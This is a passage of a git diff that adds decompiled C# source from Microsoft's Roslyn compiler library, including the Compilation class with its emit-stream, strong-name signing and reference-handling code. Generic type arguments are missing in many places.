a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonSyntaxAndDeclarationManager.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonSyntaxAndDeclarationManager.cs new file mode 100644 index 0000000..87de82c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonSyntaxAndDeclarationManager.cs @@ -0,0 +1,25 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonSyntaxAndDeclarationManager +{ + internal readonly ImmutableArray ExternalSyntaxTrees; + + internal readonly string ScriptClassName; + + internal readonly SourceReferenceResolver Resolver; + + internal readonly CommonMessageProvider MessageProvider; + + internal readonly bool IsSubmission; + + public CommonSyntaxAndDeclarationManager(ImmutableArray externalSyntaxTrees, string scriptClassName, SourceReferenceResolver resolver, CommonMessageProvider messageProvider, bool isSubmission) + { + ExternalSyntaxTrees = externalSyntaxTrees; + ScriptClassName = scriptClassName ?? ""; + Resolver = resolver; + MessageProvider = messageProvider; + IsSubmission = isSubmission; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..196bf1d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeEarlyWellKnownAttributeData.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal abstract class CommonTypeEarlyWellKnownAttributeData : EarlyWellKnownAttributeData +{ + private AttributeUsageInfo _attributeUsageInfo = AttributeUsageInfo.Null; + + private bool _hasComImportAttribute; + + private ImmutableArray _lazyConditionalSymbols = ImmutableArray.Empty; + + private ObsoleteAttributeData _obsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + private bool _hasCodeAnalysisEmbeddedAttribute; + + public AttributeUsageInfo AttributeUsageInfo + { + get + { + return _attributeUsageInfo; + } + set + { + _attributeUsageInfo = value; + } + } + + public bool HasComImportAttribute + { + get + { + return _hasComImportAttribute; + } + set + { + _hasComImportAttribute = value; + } + } + + public ImmutableArray ConditionalSymbols => _lazyConditionalSymbols; + + public ObsoleteAttributeData ObsoleteAttributeData + { + get + { + if (!_obsoleteAttributeData.IsUninitialized) + { + return _obsoleteAttributeData; + } + return null; + } + set + { + _obsoleteAttributeData = value; + } + } + + public bool HasCodeAnalysisEmbeddedAttribute + { + get + { + return _hasCodeAnalysisEmbeddedAttribute; + } + set + { + _hasCodeAnalysisEmbeddedAttribute = value; + } + } + + public void AddConditionalSymbol(string name) + { + _lazyConditionalSymbols = _lazyConditionalSymbols.Add(name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeWellKnownAttributeData.cs new file mode 100644 index 0000000..f0129d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CommonTypeWellKnownAttributeData.cs @@ -0,0 +1,159 @@ +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +internal class CommonTypeWellKnownAttributeData : WellKnownAttributeData, ISecurityAttributeTarget +{ + private bool _hasSpecialNameAttribute; + + private bool _hasSerializableAttribute; + + private bool _hasDefaultMemberAttribute; + + private bool _hasSuppressUnmanagedCodeSecurityAttribute; + + private SecurityWellKnownAttributeData _lazySecurityAttributeData; + + private bool _hasWindowsRuntimeImportAttribute; + + private string _guidString; + + private TypeLayout _layout; + + private CharSet _charSet; + + private bool _hasSecurityCriticalAttributes; + + private bool _hasExcludeFromCodeCoverageAttribute; + + public bool HasSpecialNameAttribute + { + get + { + return _hasSpecialNameAttribute; + } + set + { + _hasSpecialNameAttribute = value; + } + } + + public bool HasSerializableAttribute + { + get + { + return _hasSerializableAttribute; + } + set + { + _hasSerializableAttribute = value; + } + } + + public bool HasDefaultMemberAttribute + { + get + { + return _hasDefaultMemberAttribute; + } + set + { + _hasDefaultMemberAttribute = value; + } + } + + public bool HasSuppressUnmanagedCodeSecurityAttribute + { + get + { + return _hasSuppressUnmanagedCodeSecurityAttribute; + } + set + { + _hasSuppressUnmanagedCodeSecurityAttribute = value; + } + } + + internal bool HasDeclarativeSecurity + { + get + { + if (_lazySecurityAttributeData == null) + { + return HasSuppressUnmanagedCodeSecurityAttribute; + } + return true; + } + } + + public SecurityWellKnownAttributeData SecurityInformation => _lazySecurityAttributeData; + + public bool HasWindowsRuntimeImportAttribute + { + get + { + return _hasWindowsRuntimeImportAttribute; + } + set + { + _hasWindowsRuntimeImportAttribute = value; + } + } + + public string GuidString + { + get + { + return _guidString; + } + set + { + _guidString = value; + } + } + + public bool HasStructLayoutAttribute => _charSet != (CharSet)0; + + public TypeLayout Layout => _layout; + + public CharSet MarshallingCharSet => _charSet; + + public bool HasSecurityCriticalAttributes + { + get + { + return _hasSecurityCriticalAttributes; + } + set + { + _hasSecurityCriticalAttributes = value; + } + } + + public bool HasExcludeFromCodeCoverageAttribute + { + get + { + return _hasExcludeFromCodeCoverageAttribute; + } + set + { + _hasExcludeFromCodeCoverageAttribute = value; + } + } + + SecurityWellKnownAttributeData ISecurityAttributeTarget.GetOrCreateData() + { + if (_lazySecurityAttributeData == null) + { + _lazySecurityAttributeData = new SecurityWellKnownAttributeData(); + } + return _lazySecurityAttributeData; + } + + public void SetStructLayout(TypeLayout layout, CharSet charSet) + { + _layout = layout; + _charSet = charSet; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Compilation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Compilation.cs new file mode 100644 index 0000000..8af00e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Compilation.cs @@ -0,0 +1,2336 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.DiaSymReader; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class Compilation +{ + internal enum EmitStreamSignKind + { + None, + SignedWithBuilder, + SignedWithFile + } + + internal sealed class EmitStream + { + private readonly EmitStreamProvider _emitStreamProvider; + + private readonly EmitStreamSignKind _emitStreamSignKind; + + private readonly StrongNameProvider? _strongNameProvider; + + private readonly StrongNameKeys _strongNameKeys; + + private (Stream emitStream, Stream tempStream, string tempFilePath)? _tempInfo; + + private bool _created; + + internal EmitStream(EmitStreamProvider emitStreamProvider, EmitStreamSignKind emitStreamSignKind, StrongNameKeys strongNameKeys, StrongNameProvider? strongNameProvider) + { + _emitStreamProvider = emitStreamProvider; + _emitStreamSignKind = emitStreamSignKind; + _strongNameProvider = strongNameProvider; + _strongNameKeys = strongNameKeys; + } + + internal Func GetCreateStreamFunc(CommonMessageProvider messageProvider, DiagnosticBag diagnostics) + { + return () => CreateStream(messageProvider, diagnostics); + } + + internal void Close() + { + (Stream, Stream, string)? tempInfo = _tempInfo; + if (!tempInfo.HasValue) + { + return; + } + (Stream, Stream, string) valueOrDefault = tempInfo.GetValueOrDefault(); + if (valueOrDefault.Item1 == null) + { + return; + } + Stream item = valueOrDefault.Item2; + if (item == null) + { + return; + } + string item2 = valueOrDefault.Item3; + if (item2 == null) + { + return; + } + _tempInfo = null; + try + { + item.Dispose(); + } + finally + { + try + { + File.Delete(item2); + } + catch + { + } + } + } + + private Stream? CreateStream(CommonMessageProvider messageProvider, DiagnosticBag diagnostics) + { + _created = true; + if (diagnostics.HasAnyErrors()) + { + return null; + } + if (_emitStreamSignKind == EmitStreamSignKind.SignedWithFile) + { + StrongNameFileSystem fileSystem = _strongNameProvider.FileSystem; + string signingTempPath = fileSystem.GetSigningTempPath(); + if (signingTempPath == null) + { + diagnostics.Add(Microsoft.CodeAnalysis.StrongNameKeys.GetError(_strongNameKeys.KeyFilePath, _strongNameKeys.KeyContainer, new CodeAnalysisResourcesLocalizableErrorArgument("SigningTempPathUnavailable"), messageProvider)); + return null; + } + Stream orCreateStream = _emitStreamProvider.GetOrCreateStream(diagnostics); + if (orCreateStream == null) + { + return null; + } + string text; + Stream stream; + try + { + Func factory = (string path) => fileSystem.CreateFileStream(path, FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite); + text = Path.Combine(signingTempPath, Guid.NewGuid().ToString("N")); + stream = FileUtilities.CreateFileStreamChecked(factory, text); + } + catch (IOException inner) + { + throw new PeWritingException(inner); + } + _tempInfo = (orCreateStream, stream, text); + return stream; + } + return _emitStreamProvider.GetOrCreateStream(diagnostics); + } + + internal bool Complete(CommonMessageProvider messageProvider, DiagnosticBag diagnostics) + { + try + { + (Stream, Stream, string)? tempInfo = _tempInfo; + if (tempInfo.HasValue) + { + (Stream, Stream, string) valueOrDefault = tempInfo.GetValueOrDefault(); + var (stream, _, _) = valueOrDefault; + if (stream != null) + { + Stream item = valueOrDefault.Item2; + if (item != null) + { + string item2 = valueOrDefault.Item3; + if (item2 != null) + { + try + { + item.Dispose(); + _strongNameProvider.SignFile(_strongNameKeys, item2); + using FileStream fileStream = new FileStream(item2, FileMode.Open); + fileStream.CopyTo(stream); + } + catch (DesktopStrongNameProvider.ClrStrongNameMissingException) + { + diagnostics.Add(Microsoft.CodeAnalysis.StrongNameKeys.GetError(_strongNameKeys.KeyFilePath, _strongNameKeys.KeyContainer, new CodeAnalysisResourcesLocalizableErrorArgument("AssemblySigningNotSupported"), messageProvider)); + return false; + } + catch (IOException ex2) + { + diagnostics.Add(Microsoft.CodeAnalysis.StrongNameKeys.GetError(_strongNameKeys.KeyFilePath, _strongNameKeys.KeyContainer, ex2.Message, messageProvider)); + return false; + } + } + } + } + } + } + finally + { + Close(); + } + return true; + } + } + + internal abstract class EmitStreamProvider + { + private Stream? _stream; + + protected EmitStreamProvider(Stream? stream = null) + { + _stream = stream; + } + + protected abstract Stream? CreateStream(DiagnosticBag diagnostics); + + public Stream? GetOrCreateStream(DiagnosticBag diagnostics) + { + if (_stream == null) + { + _stream = CreateStream(diagnostics); + } + return _stream; + } + } + + internal sealed class SimpleEmitStreamProvider : EmitStreamProvider + { + internal SimpleEmitStreamProvider(Stream stream) + : base(stream) + { + } + + protected override Stream CreateStream(DiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Compilation.EmitStreamProvider.cs", 68); + } + } + + internal enum Win32ResourceForm : byte + { + UNKNOWN, + COFF, + RES + } + + private SmallDictionary? _lazyMakeWellKnownTypeMissingMap; + + private SmallDictionary? _lazyMakeMemberMissingMap; + + protected readonly IReadOnlyDictionary _features; + + internal const string UnspecifiedModuleAssemblyName = "?"; + + private int _lazySubmissionSlotIndex; + + private const int SubmissionSlotIndexNotApplicable = -3; + + private const int SubmissionSlotIndexToBeAllocated = -2; + + private int _eventQueueEnqueuePendingCount; + + private readonly ConcurrentCache _getTypeCache = new ConcurrentCache(50, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly ConcurrentCache> _getTypesCache = new ConcurrentCache>(50, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + internal const CompilationStage DefaultDiagnosticsStage = CompilationStage.Compile; + + private ConcurrentDictionary? _lazyTreeToUsedImportDirectivesMap; + + private static readonly Func s_createSetCallback = (SyntaxTree t) => new SmallConcurrentSetOfInts(); + + private readonly WeakList _retargetingAssemblySymbols = new WeakList(); + + public abstract bool IsCaseSensitive { get; } + + public ScriptCompilationInfo? ScriptCompilationInfo => CommonScriptCompilationInfo; + + internal abstract ScriptCompilationInfo? CommonScriptCompilationInfo { get; } + + public abstract string Language { get; } + + public string? AssemblyName { get; } + + public CompilationOptions Options => CommonOptions; + + protected abstract CompilationOptions CommonOptions { get; } + + internal bool IsSubmission => _lazySubmissionSlotIndex != -3; + + private Compilation? PreviousSubmission => ScriptCompilationInfo?.PreviousScriptCompilation; + + internal Type? SubmissionReturnType => ScriptCompilationInfo?.ReturnTypeOpt; + + internal Type? HostObjectType => ScriptCompilationInfo?.GlobalsType; + + public IEnumerable SyntaxTrees => CommonSyntaxTrees; + + protected internal abstract ImmutableArray CommonSyntaxTrees { get; } + + internal SemanticModelProvider? SemanticModelProvider { get; } + + internal AsyncQueue? EventQueue { get; } + + public ImmutableArray ExternalReferences { get; } + + public abstract ImmutableArray DirectiveReferences { get; } + + internal abstract IEnumerable ReferenceDirectives { get; } + + internal abstract IDictionary<(string path, string content), MetadataReference> ReferenceDirectiveMap { get; } + + public IEnumerable References + { + get + { + ImmutableArray.Enumerator enumerator = ExternalReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + enumerator = DirectiveReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + } + } + + public abstract IEnumerable ReferencedAssemblyNames { get; } + + public IAssemblySymbol Assembly => CommonAssembly; + + protected abstract IAssemblySymbol CommonAssembly { get; } + + public IModuleSymbol SourceModule => CommonSourceModule; + + protected abstract IModuleSymbol CommonSourceModule { get; } + + public INamespaceSymbol GlobalNamespace => CommonGlobalNamespace; + + protected abstract INamespaceSymbol CommonGlobalNamespace { get; } + + internal abstract CommonAnonymousTypeManager CommonAnonymousTypeManager { get; } + + public INamedTypeSymbol ObjectType => CommonObjectType; + + protected abstract INamedTypeSymbol CommonObjectType { get; } + + public ITypeSymbol DynamicType => CommonDynamicType; + + protected abstract ITypeSymbol CommonDynamicType { get; } + + internal ITypeSymbol? ScriptGlobalsType => CommonScriptGlobalsType; + + protected abstract ITypeSymbol? CommonScriptGlobalsType { get; } + + public INamedTypeSymbol? ScriptClass => CommonScriptClass; + + protected abstract INamedTypeSymbol? CommonScriptClass { get; } + + internal abstract CommonMessageProvider MessageProvider { get; } + + internal bool SignUsingBuilder + { + get + { + if (string.IsNullOrEmpty(StrongNameKeys.KeyContainer) && !StrongNameKeys.HasCounterSignature) + { + return !_features.ContainsKey("UseLegacyStrongNameProvider"); + } + return false; + } + } + + internal abstract byte LinkerMajorVersion { get; } + + internal bool HasStrongName + { + get + { + if (!IsDelaySigned && Options.OutputKind != OutputKind.NetModule) + { + return StrongNameKeys.CanProvideStrongName; + } + return false; + } + } + + internal bool IsRealSigned + { + get + { + if (!IsDelaySigned && !Options.PublicSign && Options.OutputKind != OutputKind.NetModule) + { + return StrongNameKeys.CanSign; + } + return false; + } + } + + internal abstract bool IsDelaySigned { get; } + + internal abstract StrongNameKeys StrongNameKeys { get; } + + internal abstract Guid DebugSourceDocumentLanguageId { get; } + + internal bool IsEmitDeterministic => Options.Deterministic; + + private ConcurrentDictionary TreeToUsedImportDirectivesMap => RoslynLazyInitializer.EnsureInitialized(ref _lazyTreeToUsedImportDirectivesMap); + + internal WeakList RetargetingAssemblySymbols => _retargetingAssemblySymbols; + + internal Compilation(string? name, ImmutableArray references, IReadOnlyDictionary features, bool isSubmission, SemanticModelProvider? semanticModelProvider, AsyncQueue? eventQueue) + { + AssemblyName = name; + ExternalReferences = references; + SemanticModelProvider = semanticModelProvider; + EventQueue = eventQueue; + _lazySubmissionSlotIndex = (isSubmission ? (-2) : (-3)); + _features = features; + } + + protected static IReadOnlyDictionary SyntaxTreeCommonFeatures(IEnumerable trees) + { + IReadOnlyDictionary readOnlyDictionary = null; + foreach (SyntaxTree tree in trees) + { + IReadOnlyDictionary features = tree.Options.Features; + if (readOnlyDictionary == null) + { + readOnlyDictionary = features; + } + else if (readOnlyDictionary != features && !readOnlyDictionary.SetEquals(features)) + { + throw new ArgumentException(CodeAnalysisResources.InconsistentSyntaxTreeFeature, "trees"); + } + } + if (readOnlyDictionary == null) + { + readOnlyDictionary = ImmutableDictionary.Empty; + } + return readOnlyDictionary; + } + + internal abstract AnalyzerDriver CreateAnalyzerDriver(ImmutableArray analyzers, AnalyzerManager analyzerManager, SeverityFilter severityFilter); + + internal abstract void SerializePdbEmbeddedCompilationOptions(BlobBuilder builder); + + internal static string GetDeterministicKey(CompilationOptions compilationOptions, ImmutableArray syntaxTrees, ImmutableArray references, ImmutableArray publicKey, ImmutableArray additionalTexts = default(ImmutableArray), ImmutableArray analyzers = default(ImmutableArray), ImmutableArray generators = default(ImmutableArray), ImmutableArray> pathMap = default(ImmutableArray>), EmitOptions? emitOptions = null, DeterministicKeyOptions options = DeterministicKeyOptions.Default) + { + return DeterministicKey.GetDeterministicKey(compilationOptions, syntaxTrees, references, publicKey, additionalTexts, analyzers, generators, pathMap, emitOptions, options); + } + + internal string GetDeterministicKey(ImmutableArray additionalTexts = default(ImmutableArray), ImmutableArray analyzers = default(ImmutableArray), ImmutableArray generators = default(ImmutableArray), ImmutableArray> pathMap = default(ImmutableArray>), EmitOptions? emitOptions = null, DeterministicKeyOptions options = DeterministicKeyOptions.Default) + { + return GetDeterministicKey(Options, CommonSyntaxTrees, ExternalReferences.Concat(DirectiveReferences), Assembly.Identity.PublicKey, additionalTexts, analyzers, generators, pathMap, emitOptions, options); + } + + internal static void ValidateScriptCompilationParameters(Compilation? previousScriptCompilation, Type? returnType, ref Type? globalsType) + { + if (globalsType != null && !IsValidHostObjectType(globalsType)) + { + throw new ArgumentException(CodeAnalysisResources.ReturnTypeCannotBeValuePointerbyRefOrOpen, "globalsType"); + } + if (returnType != null && !IsValidSubmissionReturnType(returnType)) + { + throw new ArgumentException(CodeAnalysisResources.ReturnTypeCannotBeVoidByRefOrOpen, "returnType"); + } + if (previousScriptCompilation != null) + { + if (globalsType == null) + { + globalsType = previousScriptCompilation.HostObjectType; + } + else if (globalsType != previousScriptCompilation.HostObjectType) + { + throw new ArgumentException(CodeAnalysisResources.TypeMustBeSameAsHostObjectTypeOfPreviousSubmission, "globalsType"); + } + if (previousScriptCompilation.GetDiagnostics().Any((Diagnostic d) => d.Severity == DiagnosticSeverity.Error)) + { + throw new InvalidOperationException(CodeAnalysisResources.PreviousSubmissionHasErrors); + } + } + } + + internal static void CheckSubmissionOptions(CompilationOptions? options) + { + if (!(options == null)) + { + if (options.OutputKind.IsValid() && options.OutputKind != OutputKind.DynamicallyLinkedLibrary) + { + throw new ArgumentException(CodeAnalysisResources.InvalidOutputKindForSubmission, "options"); + } + if (options.CryptoKeyContainer != null || options.CryptoKeyFile != null || options.DelaySign.HasValue || !options.CryptoPublicKey.IsEmpty || (options.DelaySign == true && options.PublicSign)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidCompilationOptions, "options"); + } + } + } + + public Compilation Clone() + { + return CommonClone(); + } + + protected abstract Compilation CommonClone(); + + internal abstract Compilation WithEventQueue(AsyncQueue? eventQueue); + + internal abstract Compilation WithSemanticModelProvider(SemanticModelProvider semanticModelProvider); + + public SemanticModel GetSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility = false) + { + return CommonGetSemanticModel(syntaxTree, ignoreAccessibility); + } + + protected abstract SemanticModel CommonGetSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility); + + internal abstract SemanticModel CreateSemanticModel(SyntaxTree syntaxTree, bool ignoreAccessibility); + + public INamedTypeSymbol CreateErrorTypeSymbol(INamespaceOrTypeSymbol? container, string name, int arity) + { + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (arity < 0) + { + throw new ArgumentException("arity must be >= 0", "arity"); + } + return CommonCreateErrorTypeSymbol(container, name, arity); + } + + protected abstract INamedTypeSymbol CommonCreateErrorTypeSymbol(INamespaceOrTypeSymbol? container, string name, int arity); + + public INamespaceSymbol CreateErrorNamespaceSymbol(INamespaceSymbol container, string name) + { + if (container == null) + { + throw new ArgumentNullException("container"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + return CommonCreateErrorNamespaceSymbol(container, name); + } + + protected abstract INamespaceSymbol CommonCreateErrorNamespaceSymbol(INamespaceSymbol container, string name); + + internal void CheckAssemblyName(DiagnosticBag diagnostics) + { + if (AssemblyName != null) + { + MetadataHelpers.CheckAssemblyOrModuleName(AssemblyName, MessageProvider, MessageProvider.ERR_BadAssemblyName, diagnostics); + } + } + + internal string MakeSourceAssemblySimpleName() + { + return AssemblyName ?? "?"; + } + + internal string MakeSourceModuleName() + { + string text = Options.ModuleName; + if (text == null) + { + if (AssemblyName == null) + { + return "?"; + } + text = AssemblyName + Options.OutputKind.GetDefaultExtension(); + } + return text; + } + + public Compilation WithAssemblyName(string? assemblyName) + { + return CommonWithAssemblyName(assemblyName); + } + + protected abstract Compilation CommonWithAssemblyName(string? outputName); + + public Compilation WithOptions(CompilationOptions options) + { + return CommonWithOptions(options); + } + + protected abstract Compilation CommonWithOptions(CompilationOptions options); + + internal int GetSubmissionSlotIndex() + { + if (_lazySubmissionSlotIndex == -2) + { + int num = ScriptCompilationInfo.PreviousScriptCompilation?.GetSubmissionSlotIndex() ?? 0; + _lazySubmissionSlotIndex = (HasCodeToEmit() ? (num + 1) : num); + } + return _lazySubmissionSlotIndex; + } + + internal static bool IsValidSubmissionReturnType(Type type) + { + if (!(type == typeof(void)) && !type.IsByRef) + { + return !type.GetTypeInfo().ContainsGenericParameters; + } + return false; + } + + internal static bool IsValidHostObjectType(Type type) + { + System.Reflection.TypeInfo typeInfo = type.GetTypeInfo(); + if (!typeInfo.IsValueType && !typeInfo.IsPointer && !typeInfo.IsByRef) + { + return !typeInfo.ContainsGenericParameters; + } + return false; + } + + internal abstract bool HasSubmissionResult(); + + public Compilation WithScriptCompilationInfo(ScriptCompilationInfo? info) + { + return CommonWithScriptCompilationInfo(info); + } + + protected abstract Compilation CommonWithScriptCompilationInfo(ScriptCompilationInfo? info); + + public Compilation AddSyntaxTrees(params SyntaxTree[] trees) + { + return CommonAddSyntaxTrees(trees); + } + + public Compilation AddSyntaxTrees(IEnumerable trees) + { + return CommonAddSyntaxTrees(trees); + } + + protected abstract Compilation CommonAddSyntaxTrees(IEnumerable trees); + + public Compilation RemoveSyntaxTrees(params SyntaxTree[] trees) + { + return CommonRemoveSyntaxTrees(trees); + } + + public Compilation RemoveSyntaxTrees(IEnumerable trees) + { + return CommonRemoveSyntaxTrees(trees); + } + + protected abstract Compilation CommonRemoveSyntaxTrees(IEnumerable trees); + + public Compilation RemoveAllSyntaxTrees() + { + return CommonRemoveAllSyntaxTrees(); + } + + protected abstract Compilation CommonRemoveAllSyntaxTrees(); + + public Compilation ReplaceSyntaxTree(SyntaxTree oldTree, SyntaxTree newTree) + { + return CommonReplaceSyntaxTree(oldTree, newTree); + } + + protected abstract Compilation CommonReplaceSyntaxTree(SyntaxTree oldTree, SyntaxTree newTree); + + public bool ContainsSyntaxTree(SyntaxTree syntaxTree) + { + return CommonContainsSyntaxTree(syntaxTree); + } + + protected abstract bool CommonContainsSyntaxTree(SyntaxTree? syntaxTree); + + internal static ImmutableArray ValidateReferences(IEnumerable? references) where T : CompilationReference + { + ImmutableArray result = references.AsImmutableOrEmpty(); + for (int i = 0; i < result.Length; i++) + { + MetadataReference metadataReference = result[i]; + if (metadataReference == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "references", i)); + } + if (!(metadataReference is PortableExecutableReference) && !(metadataReference is T)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.ReferenceOfTypeIsInvalid1, metadataReference.GetType()), string.Format("{0}[{1}]", "references", i)); + } + } + return result; + } + + internal CommonReferenceManager GetBoundReferenceManager() + { + return CommonGetBoundReferenceManager(); + } + + internal abstract CommonReferenceManager CommonGetBoundReferenceManager(); + + public abstract CompilationReference ToMetadataReference(ImmutableArray aliases = default(ImmutableArray), bool embedInteropTypes = false); + + public Compilation WithReferences(IEnumerable newReferences) + { + return CommonWithReferences(newReferences); + } + + public Compilation WithReferences(params MetadataReference[] newReferences) + { + return WithReferences((IEnumerable)newReferences); + } + + protected abstract Compilation CommonWithReferences(IEnumerable newReferences); + + public Compilation AddReferences(params MetadataReference[] references) + { + return AddReferences((IEnumerable)references); + } + + public Compilation AddReferences(IEnumerable references) + { + if (references == null) + { + throw new ArgumentNullException("references"); + } + if (references.IsEmpty()) + { + return this; + } + return CommonWithReferences(ExternalReferences.Union(references)); + } + + public Compilation RemoveReferences(params MetadataReference[] references) + { + return RemoveReferences((IEnumerable)references); + } + + public Compilation RemoveReferences(IEnumerable references) + { + if (references == null) + { + throw new ArgumentNullException("references"); + } + if (references.IsEmpty()) + { + return this; + } + HashSet hashSet = new HashSet(ExternalReferences); + foreach (MetadataReference item in references.Distinct()) + { + if (!hashSet.Remove(item)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.MetadataRefNotFoundToRemove1, item), "references"); + } + } + return CommonWithReferences(hashSet); + } + + public Compilation RemoveAllReferences() + { + return CommonWithReferences(SpecializedCollections.EmptyEnumerable()); + } + + public Compilation ReplaceReference(MetadataReference oldReference, MetadataReference? newReference) + { + if (oldReference == null) + { + throw new ArgumentNullException("oldReference"); + } + if (newReference == null) + { + return RemoveReferences(oldReference); + } + return RemoveReferences(oldReference).AddReferences(newReference); + } + + public ISymbol? GetAssemblyOrModuleSymbol(MetadataReference reference) + { + return CommonGetAssemblyOrModuleSymbol(reference); + } + + protected abstract ISymbol? CommonGetAssemblyOrModuleSymbol(MetadataReference reference); + + [return: NotNullIfNotNull("symbol")] + internal abstract TSymbol? GetSymbolInternal(ISymbol? symbol) where TSymbol : class, ISymbolInternal; + + public MetadataReference? GetMetadataReference(IAssemblySymbol assemblySymbol) + { + return CommonGetMetadataReference(assemblySymbol); + } + + private protected abstract MetadataReference? CommonGetMetadataReference(IAssemblySymbol assemblySymbol); + + public INamespaceSymbol? GetCompilationNamespace(INamespaceSymbol namespaceSymbol) + { + return CommonGetCompilationNamespace(namespaceSymbol); + } + + protected abstract INamespaceSymbol? CommonGetCompilationNamespace(INamespaceSymbol namespaceSymbol); + + public IMethodSymbol? GetEntryPoint(CancellationToken cancellationToken) + { + return CommonGetEntryPoint(cancellationToken); + } + + protected abstract IMethodSymbol? CommonGetEntryPoint(CancellationToken cancellationToken); + + public INamedTypeSymbol GetSpecialType(SpecialType specialType) + { + return (INamedTypeSymbol)CommonGetSpecialType(specialType).GetITypeSymbol(); + } + + internal abstract ISymbolInternal CommonGetSpecialTypeMember(SpecialMember specialMember); + + internal abstract bool IsSystemTypeReference(ITypeSymbolInternal type); + + private protected abstract INamedTypeSymbolInternal CommonGetSpecialType(SpecialType specialType); + + internal abstract ISymbolInternal? CommonGetWellKnownTypeMember(WellKnownMember member); + + internal abstract ITypeSymbolInternal CommonGetWellKnownType(WellKnownType wellknownType); + + internal abstract bool IsAttributeType(ITypeSymbol type); + + protected INamedTypeSymbol? CommonBindScriptClass() + { + string[] array = (Options.ScriptClassName ?? "").Split(new char[1] { '.' }); + INamespaceSymbol namespaceSymbol = SourceModule.GlobalNamespace; + for (int i = 0; i < array.Length - 1; i++) + { + INamespaceSymbol nestedNamespace = namespaceSymbol.GetNestedNamespace(array[i]); + if (nestedNamespace == null) + { + return null; + } + namespaceSymbol = nestedNamespace; + } + ImmutableArray.Enumerator enumerator = namespaceSymbol.GetTypeMembers(array[^1]).GetEnumerator(); + while (enumerator.MoveNext()) + { + INamedTypeSymbol current = enumerator.Current; + if (current.IsScriptClass) + { + return current; + } + } + return null; + } + + [Conditional("DEBUG")] + private void AssertNoScriptTrees() + { + ImmutableArray.Enumerator enumerator = CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + } + + public IArrayTypeSymbol CreateArrayTypeSymbol(ITypeSymbol elementType, int rank = 1, NullableAnnotation elementNullableAnnotation = NullableAnnotation.None) + { + return CommonCreateArrayTypeSymbol(elementType, rank, elementNullableAnnotation); + } + + public IArrayTypeSymbol CreateArrayTypeSymbol(ITypeSymbol elementType, int rank) + { + return CreateArrayTypeSymbol(elementType, rank, NullableAnnotation.None); + } + + protected abstract IArrayTypeSymbol CommonCreateArrayTypeSymbol(ITypeSymbol elementType, int rank, NullableAnnotation elementNullableAnnotation); + + public IPointerTypeSymbol CreatePointerTypeSymbol(ITypeSymbol pointedAtType) + { + return CommonCreatePointerTypeSymbol(pointedAtType); + } + + protected abstract IPointerTypeSymbol CommonCreatePointerTypeSymbol(ITypeSymbol elementType); + + public IFunctionPointerTypeSymbol CreateFunctionPointerTypeSymbol(ITypeSymbol returnType, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, SignatureCallingConvention callingConvention = SignatureCallingConvention.Default, ImmutableArray callingConventionTypes = default(ImmutableArray)) + { + return CommonCreateFunctionPointerTypeSymbol(returnType, returnRefKind, parameterTypes, parameterRefKinds, callingConvention, callingConventionTypes); + } + + protected abstract IFunctionPointerTypeSymbol CommonCreateFunctionPointerTypeSymbol(ITypeSymbol returnType, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, SignatureCallingConvention callingConvention, ImmutableArray callingConventionTypes); + + public INamedTypeSymbol CreateNativeIntegerTypeSymbol(bool signed) + { + return CommonCreateNativeIntegerTypeSymbol(signed); + } + + protected abstract INamedTypeSymbol 